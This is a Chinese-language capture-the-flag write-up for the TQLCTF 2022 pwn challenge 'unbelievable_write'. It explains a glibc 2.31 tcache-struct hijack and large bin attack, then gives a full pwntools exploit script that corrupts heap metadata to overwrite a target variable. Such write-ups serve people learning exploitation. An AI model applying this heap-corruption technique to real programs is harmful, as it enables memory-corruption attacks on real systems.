TQLCTF2022Pwn题WP

unbelievable_write

只要修改bss段上target值就能拿flag,还提供了一次堆上任意地址释放的功能,难点在于申请的堆块在写入后会被立即释放。

由于题目环境是libc-2.31,我们考虑large bin attack,先释放并劫持tcache结构体使得我们可以控制申请到的堆快的位置,修改counts使得我们可以直接申请到unsoted bin,此时我们就可以根据2.31 large bin attack的顺序修改并拿到flag了。

需要注意的是,由于题目申请后立即释放堆快的特性,我们需要在劫持tcache结构体前布置好需要用到的堆快(一个0x400和0x3f0的堆快用于制作large bin,一个0xa0的堆快用于修改bk_nextsize)。

题目在输出时会申请一个0x400大小的堆快,如果在我们large bin attack后申请这个堆快会使得程序崩溃拿不到flag,我们可以提前触发这个输出,副作用是使得0xa0大小的堆快重新申请时地址不固定,需要1/16的概率去爆破。

from pwn import *
context(arch='amd64',log_level='debug')
context.terminal=['tmux','splitw','-h']
p=process('./pwn1')
elf=ELF('./pwn1')

def c1(size,con):
    p.sendlineafter('>','1')
    p.sendline(str(size))
    p.send(con)

def c2(off):
    p.sendlineafter('>','2')
    p.sendline(str(off))

def c3():
    p.sendlineafter('>','3')

target=0x404080
golden=target+0x8
ptr=0x4052a0
heap_base=0x405000

p.sendline('a')
c1(0xa0,p64(0)*0x5+p64(0xb1)+b'\n')
c1(0x400,b'\n')
c1(0x20,b'\n')
c1(0x3f0,b'\n')
c1(0x30,b'\n')

c2(-0x290)

c1(0x280,p16(0)*9+p16(1)+p16(0)*0x1d+p16(0)+p16(0)*0x16+p16(0x9)*2+p64(0)*9+b'\x00\xa7'+b'\n')
c1(0x400,b'\n')

c1(0x500,b'\n')
c1(0x3f0,b'\n')
c1(0xa0,p64(0)*15+p64(0x411)+p64(target+0x100)*3+p64(target-0x20))
c1(0x500,b'\n')

c3()
p.interactive()